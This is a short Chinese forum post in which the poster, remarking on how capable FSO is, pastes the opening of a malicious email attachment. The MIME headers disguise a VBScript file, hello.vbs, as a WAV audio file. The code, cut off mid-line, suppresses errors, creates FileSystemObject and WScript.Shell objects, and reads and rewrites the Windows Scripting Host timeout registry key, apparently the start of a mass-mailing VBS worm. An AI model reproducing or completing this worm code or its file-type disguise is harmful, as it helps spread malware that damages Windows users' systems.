o***z
发帖数: 133 | 1 才知道FSO这么capable
Content-Type: audio/x-wav;name="hello.vbs"
Content-Transfer-Encoding: quoted-printable
Content-ID:
on error resume next
dim fso,dirwin,dirsystem
set fso= CreateObject("Scripting.FileSystemObject")
main()
sub main()
on error resume next
set timeover= CreateObject("WScript.Shell")
rr= timeover.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Setting\Timeout")
if (rr>= 1) then
timeover.RegWrite"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting |
|
